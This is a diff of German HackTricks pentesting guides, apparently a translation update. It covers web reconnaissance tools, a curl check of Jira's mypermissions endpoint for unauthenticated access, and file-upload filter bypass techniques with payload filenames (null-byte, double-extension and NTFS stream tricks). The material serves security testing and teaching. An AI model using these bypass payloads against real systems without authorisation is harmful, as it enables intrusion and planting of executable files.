* [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis beim Brute-Forcing oder Spidering entdeckt wird, es gespidert werden sollte._
|
||||
* [ ] **Verzeichnis-Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner zu brute-forcen, um nach neuen **Dateien** und **Verzeichnissen** zu suchen.
|
||||
* [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis beim Brute-Forcing oder Spidering entdeckt wird, es gebrute-forcet werden sollte._
|
||||
|
@ -65,14 +65,14 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
### Identifizieren
|
||||
|
||||
Überprüfen Sie, ob es **bekannte Schwachstellen** für die Server-**Version** gibt, die ausgeführt wird.\
|
||||
Die **HTTP-Header und Cookies der Antwort** können sehr nützlich sein, um die verwendeten **Technologien** und/oder **Versionen** zu **identifizieren**. Ein **Nmap-Scan** kann die Serverversion identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Die **HTTP-Header und Cookies der Antwort** können sehr nützlich sein, um die **verwendeten Technologien** und/oder die **Version** zu **identifizieren**. Ein **Nmap-Scan** kann die Serverversion identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Suche nach **Schwachstellen der Webanwendung** **Version**.
|
||||
Suche nach **Schwachstellen der Webanwendung** **Version**
|
||||
|
||||
### **Überprüfen Sie, ob ein WAF vorhanden ist**
|
||||
|
||||
|
@ -163,7 +163,7 @@ wpscan --force update -e --url <URL>
|
|||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Zu diesem Zeitpunkt sollten Sie bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten vorhanden sind) und einige Tricks im Hinterkopf behalten, die während des Tests hilfreich sein können. Wenn Sie Glück haben, haben Sie möglicherweise sogar ein CMS gefunden und einen Scanner ausgeführt.
|
||||
> Zu diesem Zeitpunkt sollten Sie bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten vorhanden sind) und einige Tricks im Hinterkopf behalten, die während des Tests nützlich sein könnten. Wenn Sie Glück haben, haben Sie möglicherweise sogar ein CMS gefunden und einen Scanner ausgeführt.
|
||||
|
||||
## Schritt-für-Schritt-Entdeckung von Webanwendungen
|
||||
|
||||
|
@ -186,7 +186,7 @@ Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet
|
|||
|
||||
* Zugriff auf **Fake-Seiten** wie /whatever\_fake.php (.aspx,.html,.etc)
|
||||
* Fügen Sie "\[]", "]]" und "\[\[" in **Cookie-Werten** und **Parameter**-Werten hinzu, um Fehler zu erzeugen
|
||||
* Generieren Sie einen Fehler, indem Sie die Eingabe als **`/~randomthing/%s`** am **Ende** der **URL** angeben
|
||||
* Generieren Sie einen Fehler, indem Sie Eingaben als **`/~randomthing/%s`** am **Ende** der **URL** eingeben
|
||||
* Versuchen Sie **verschiedene HTTP-Verben** wie PATCH, DEBUG oder falsche wie FAKE
|
||||
|
||||
#### **Überprüfen Sie, ob Sie Dateien hochladen können (**[**PUT-Verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
@ -198,8 +198,8 @@ Wenn Sie feststellen, dass **WebDav** **aktiviert** ist, aber Sie nicht genügen
|
|||
|
||||
### **SSL/TLS-Schwachstellen**
|
||||
|
||||
* Wenn die Anwendung den **Zwang zur Verwendung von HTTPS** an keiner Stelle erzwingt, ist sie anfällig für MitM-Angriffe.
|
||||
* Wenn die Anwendung **sensible Daten (Passwörter) über HTTP sendet**, handelt es sich um eine hohe Schwachstelle.
|
||||
* Wenn die Anwendung den **Zwang zur Verwendung von HTTPS** an keiner Stelle erzwingt, ist sie **anfällig für Man-in-the-Middle-Angriffe**
|
||||
* Wenn die Anwendung **sensible Daten (Passwörter) über HTTP sendet**. Dann handelt es sich um eine hohe Schwachstelle.
|
||||
|
||||
Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach **Schwachstellen** zu suchen (In Bug-Bounty-Programmen werden wahrscheinlich diese Art von Schwachstellen nicht akzeptiert) und verwenden Sie [**a2sv**](https://github.com/hahwul/a2sv), um die Schwachstellen erneut zu überprüfen:
|
||||
```bash
|
||||
|
@ -210,14 +210,9 @@ Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach
|
|||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
### SSL/TLS-Schwachstellen:
|
||||
|
||||
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### Spidering
|
||||
|
||||
Starten Sie eine Art **Spider** im Web. Das Ziel des Spiders ist es, **so viele Pfade wie möglich** von der getesteten Anwendung zu **finden**. Daher sollten Web-Crawling und externe Quellen verwendet werden, um so viele gültige Pfade wie möglich zu finden.
|
||||
Starten Sie eine Art **Spider** im Web. Das Ziel des Spiders ist es, **so viele Pfade wie möglich** von der getesteten Anwendung zu finden. Daher sollten Web-Crawling und externe Quellen verwendet werden, um so viele gültige Pfade wie möglich zu finden.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML-Spider, LinkFinder in JS-Dateien und externe Quellen (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML-Spider, mit LinkFinder für JS-Dateien und Archive.org als externe Quelle.
|
||||
|
@ -228,10 +223,10 @@ Starten Sie eine Art **Spider** im Web. Das Ziel des Spiders ist es, **so viele
|
|||
* [**gau**](https://github.com/lc/gau) (go): HTML-Spider, der externe Anbieter verwendet (wayback, otx, commoncrawl).
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Dieses Skript findet URLs mit Parametern und listet sie auf.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML-Spider mit JS-Rendering-Fähigkeiten.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML-Spider, mit JS-Beautify-Fähigkeiten zur Suche nach neuen Pfaden in JS-Dateien. Es könnte auch sinnvoll sein, sich [JSScanner](https://github.com/dark-warlord14/JSScanner) anzusehen, das ein Wrapper von LinkFinder ist.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML-Spider mit JS-Beautify-Fähigkeiten, der in der Lage ist, neue Pfade in JS-Dateien zu suchen. Es könnte auch sinnvoll sein, sich [JSScanner](https://github.com/dark-warlord14/JSScanner) anzusehen, das ein Wrapper von LinkFinder ist.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Zum Extrahieren von Endpunkten sowohl aus dem HTML-Quellcode als auch aus eingebetteten JavaScript-Dateien. Nützlich für Bug-Hunter, Red Teamer, Infosec-Ninjas.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein Python 2.7-Skript, das Tornado und JSBeautifier verwendet, um relative URLs aus JavaScript-Dateien zu parsen. Nützlich zum einfachen Entdecken von AJAX-Anfragen. Sieht aus wie nicht gewartet.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bei Angabe einer Datei (HTML) werden URLs daraus extrahiert, indem clevere reguläre Ausdrücke verwendet werden, um die relativen URLs aus hässlichen (minify) Dateien zu finden und zu extrahieren.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bei Angabe einer Datei (HTML) extrahiert es URLs daraus mithilfe einer cleveren regulären Ausdrucks, um die relativen URLs aus hässlichen (minify) Dateien zu finden und zu extrahieren.
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, mehrere Tools): Sammelt interessante Informationen aus JS-Dateien mithilfe mehrerer Tools.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): Findet JS-Dateien.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Lädt eine Seite in einem Headless-Browser und gibt alle geladenen URLs aus, um die Seite zu laden.
|
||||
|
@ -239,15 +234,15 @@ Starten Sie eine Art **Spider** im Web. Das Ziel des Spiders ist es, **so viele
|
|||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp-Erweiterung zum Auffinden von Pfaden und Parametern in JS-Dateien.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das anhand der .js.map-URL den beautifizierten JS-Code liefert.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dies ist ein Tool zur Entdeckung von Endpunkten für ein bestimmtes Ziel.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Entdecken von Links aus der Wayback-Maschine (auch Herunterladen der Antworten in der Wayback und Suche nach weiteren Links).
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Entdeckt Links aus der Wayback-Maschine (lädt auch die Antworten in der Wayback-Maschine herunter und sucht nach weiteren Links).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlen (auch durch Ausfüllen von Formularen) und Finden sensibler Informationen mithilfe spezifischer Regexes.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortschrittlicher Multi-Feature-GUI-Web-Sicherheits-Crawler/Spider, der für Cybersicherheitsprofis entwickelt wurde.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es ist ein Go-Paket und [Befehlszeilentool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, Geheimnissen und anderen interessanten Daten aus JavaScript-Quellcode.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite-Erweiterung**, um die Parameter und Endpunkte aus der Anfrage zu extrahieren und benutzerdefinierte Wortlisten für Fuzzing und Enumeration zu erstellen.
|
||||
|
||||
### Verzeichnisse und Dateien per Brute Force durchsuchen
|
||||
### Brute-Force-Verzeichnisse und Dateien
|
||||
|
||||
Beginnen Sie mit dem **Brute-Forcing** vom Stammverzeichnis und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und allen Verzeichnissen **durchsuchen**, die durch das **Spidering** **entdeckt** wurden (Sie können dies rekursiv durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
|
||||
Beginnen Sie mit dem **Brute-Forcing** ab dem Stammverzeichnis und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und allen Verzeichnissen **brute-forcen**, die durch das **Spidering** **entdeckt** wurden (Sie können dies rekursiv durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
|
||||
Tools:
|
||||
|
||||
* **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**) aber funktionsfähig. Erlaubt selbstsignierte Zertifikate und rekursive Suche. Im Vergleich zu anderen Optionen zu langsam.
|
||||
|
@ -284,7 +279,7 @@ _Hinweis: Jedes Mal, wenn ein neues Verzeichnis beim Brute-Forcing oder Spiderin
|
|||
|
||||
### Was bei jeder gefundenen Datei zu überprüfen ist
|
||||
|
||||
* [**Broken Link Checker**](https://github.com/stevenvachon/broken-link-checker): Finden Sie defekte Links in HTML-Dateien, die anfällig für Übernahmen sein könnten
|
||||
* [**Broken Link Checker**](https://github.com/stevenvachon/broken-link-checker): Suchen Sie nach defekten Links in HTML-Dateien, die anfällig für Übernahmen sein könnten
|
||||
* **Dateisicherungen**: Sobald Sie alle Dateien gefunden haben, suchen Sie nach Sicherungskopien aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Häufige Varianten für die Benennung einer Sicherung sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Sie können auch das Tool [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** verwenden.**
|
||||
* **Neue Parameter entdecken**: Sie können Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn möglich, könnten Sie versuchen, versteckte Parameter in jeder ausführbaren Webdatei zu suchen.**
|
||||
* _Arjun alle Standard-Wordlisten:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
|
@ -304,9 +299,9 @@ _Hinweis: Jedes Mal, wenn ein neues Verzeichnis beim Brute-Forcing oder Spiderin
|
|||
**Interessante Dateien**
|
||||
|
||||
* Suchen Sie nach **Links** zu anderen Dateien innerhalb der **CSS**-Dateien.
|
||||
* [Wenn Sie eine _**.git**_ Datei finden, können einige Informationen extrahiert werden](git.md)
|
||||
* Wenn Sie eine _**.env**_ Datei finden, können Informationen wie API-Schlüssel, DB-Passwörter und andere Informationen gefunden werden.
|
||||
* Wenn Sie **API-Endpunkte** finden, sollten Sie [sie auch testen](web-api-pentesting.md). Diese sind zwar keine Dateien, werden aber wahrscheinlich so "aussehen".
|
||||
* [Wenn Sie eine _**.git**_-Datei finden, können einige Informationen extrahiert werden](git.md)
|
||||
* Wenn Sie eine _**.env**_-Datei finden, können Informationen wie API-Schlüssel, DB-Passwörter und andere Informationen gefunden werden.
|
||||
* Wenn Sie **API-Endpunkte** finden, sollten Sie [sie auch testen](web-api-pentesting.md). Diese sind keine Dateien, werden aber wahrscheinlich so "aussehen".
|
||||
* **JS-Dateien**: Im Abschnitt über das Spidering wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hinweisen könnte, dass eine potenzielle Schwachstelle im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)** verwenden.**
|
||||
* Sie sollten auch entdeckte JS-Dateien mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) überprüfen, um festzustellen, ob sie verwundbar sind.
|
||||
* **Javascript Deobfuscator und Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
|
@ -353,7 +348,7 @@ Weitere Informationen zu Web-Schwachstellen finden Sie unter:
|
|||
|
||||
Sie können Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die möglicherweise Schwachstellen einschleusen.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
|
@ -10,21 +10,21 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
### Überprüfen von Berechtigungen
|
||||
### Berechtigungen überprüfen
|
||||
|
||||
In Jira können **Berechtigungen** von jedem Benutzer, authentifiziert oder nicht, über die Endpunkte `/rest/api/2/mypermissions` oder `/rest/api/3/mypermissions` überprüft werden. Diese Endpunkte zeigen die aktuellen Berechtigungen des Benutzers an. Ein bemerkenswertes Anliegen entsteht, wenn **nicht authentifizierte Benutzer Berechtigungen haben**, was auf eine **Sicherheitslücke** hinweist, die potenziell für eine **Prämie** berechtigt sein könnte. Ebenso heben **unerwartete Berechtigungen für authentifizierte Benutzer** auch eine **Schwachstelle** hervor.
|
||||
In Jira können **Berechtigungen** von jedem Benutzer, authentifiziert oder nicht, über die Endpunkte `/rest/api/2/mypermissions` oder `/rest/api/3/mypermissions` überprüft werden. Diese Endpunkte zeigen die aktuellen Berechtigungen des Benutzers an. Ein bemerkenswertes Anliegen entsteht, wenn **nicht authentifizierte Benutzer Berechtigungen haben**, was auf eine **Sicherheitslücke** hinweist, die potenziell für eine **Prämie** berechtigt sein könnte. Ebenso weisen **unerwartete Berechtigungen für authentifizierte Benutzer** auf eine **Sicherheitslücke** hin.
|
||||
|
||||
Am **1. Februar 2019** wurde ein wichtiges **Update** vorgenommen, das erfordert, dass der Endpunkt 'mypermissions' einen **'permission'-Parameter** enthält. Diese Anforderung zielt darauf ab, die Sicherheit zu verbessern, indem die abgefragten Berechtigungen spezifiziert werden: [hier überprüfen](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
Am **1. Februar 2019** wurde ein wichtiges **Update** durchgeführt, das erfordert, dass der Endpunkt 'mypermissions' einen **'permission'-Parameter** enthält. Diese Anforderung zielt darauf ab, die Sicherheit zu verbessern, indem die abgefragten Berechtigungen spezifiziert werden: [Hier überprüfen](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
* ADD\_COMMENTS
|
||||
* ADMINISTER
|
||||
|
@ -69,18 +69,16 @@ Am **1. Februar 2019** wurde ein wichtiges **Update** vorgenommen, das erfordert
|
|||
* WORK\_ON\_ISSUES
|
||||
|
||||
Beispiel: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
||||
|
||||
```bash
|
||||
#Check non-authenticated privileges
|
||||
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
||||
```
|
||||
|
||||
### Automatisierte Aufzählung
|
||||
|
||||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/de/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -96,6 +94,6 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,21 +6,21 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys senden.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Allgemeine Methodik für Datei-Upload
|
||||
## Allgemeine Methodik für den Datei-Upload
|
||||
|
||||
Andere nützliche Erweiterungen:
|
||||
|
||||
|
@ -39,7 +39,7 @@ Andere nützliche Erweiterungen:
|
|||
2. _Überprüfen Sie, ob Sie **eine gültige Erweiterung vor** der Ausführungserweiterung hinzufügen können (verwenden Sie auch vorherige Erweiterungen):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. Versuchen Sie, **Sonderzeichen am Ende hinzuzufügen**. Sie könnten Burp verwenden, um alle **ASCII**- und **Unicode**-Zeichen **bruteforce** zu verwenden. (_Beachten Sie, dass Sie auch die **zuvor** genannten **Erweiterungen** ausprobieren können_)
|
||||
3. Versuchen Sie, **Sonderzeichen am Ende hinzuzufügen**. Sie könnten Burp verwenden, um alle **ASCII**- und **Unicode**-Zeichen **bruteforce** zu verwenden. (_Beachten Sie, dass Sie auch die **zuvor** erwähnten **Erweiterungen** ausprobieren können_)
|
||||
* _file.php%20_
|
||||
* _file.php%0a_
|
||||
* _file.php%00_
|
||||
|
@ -49,7 +49,7 @@ Andere nützliche Erweiterungen:
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. Versuchen Sie, die Schutzmaßnahmen zu umgehen, indem Sie den **Erweiterungsparser** auf der Serverseite mit Techniken wie dem **Verdoppeln** der **Erweiterung** oder dem Hinzufügen von **Junk**-Daten (**Null**-Bytes) austricksen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um ein besseres Payload vorzubereiten._
|
||||
4. Versuchen Sie, die Schutzmaßnahmen zu umgehen, indem Sie den **Erweiterungsparser** auf der Serverseite mit Techniken wie dem **Verdoppeln** der **Erweiterung** oder dem Hinzufügen von **Junk**-Daten (**Null**-Bytes) zwischen den Erweiterungen **täuschen**. _Sie können auch die **vorherigen Erweiterungen** verwenden, um eine bessere Nutzlast vorzubereiten._
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -58,11 +58,11 @@ Andere nützliche Erweiterungen:
|
|||
* _file.php%0a.png_
|
||||
* _file.php%0d%0a.png_
|
||||
* _file.phpJunk123png_
|
||||
5. Fügen Sie eine **weitere Schicht von Erweiterungen** zur vorherigen Überprüfung hinzu:
|
||||
5. Fügen Sie dem vorherigen Check **eine weitere Schicht von Erweiterungen** hinzu:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Versuchen Sie, die **Ausführungserweiterung vor der gültigen Erweiterung** zu platzieren und hoffen Sie, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Fehlkonfigurationen auszunutzen, bei denen alles mit der Erweiterung\*\* _**.php**_**, aber** nicht unbedingt mit .php endet\*\* Code ausführen wird):
|
||||
* _z. B.: file.php.png_
|
||||
* _z. B. file.php.png_
|
||||
7. Verwenden von **NTFS-Alternativen Datenströmen (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunkt ":" nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Dadurch wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z. B. "file.asax:.jpg"). Diese Datei kann später bearbeitet werden, indem andere Techniken wie die Verwendung ihres Kurznamens verwendet werden. Das Muster "**::$data**" kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z. B. "file.asp::$data.")
|
||||
8. Versuchen Sie, die Dateinamenbeschränkungen zu umgehen. Die gültige Erweiterung wird abgeschnitten, und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
|
||||
|
||||
|
@ -73,7 +73,7 @@ Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
|
|||
# Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen erlaubt sind. Angenommen, 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Erstellen Sie das Payload
|
||||
# Erstellen Sie die Nutzlast
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
### Umgehen von Content-Type, Magic Number, Komprimierung & Größenänderung
|
||||
|
@ -84,24 +84,24 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
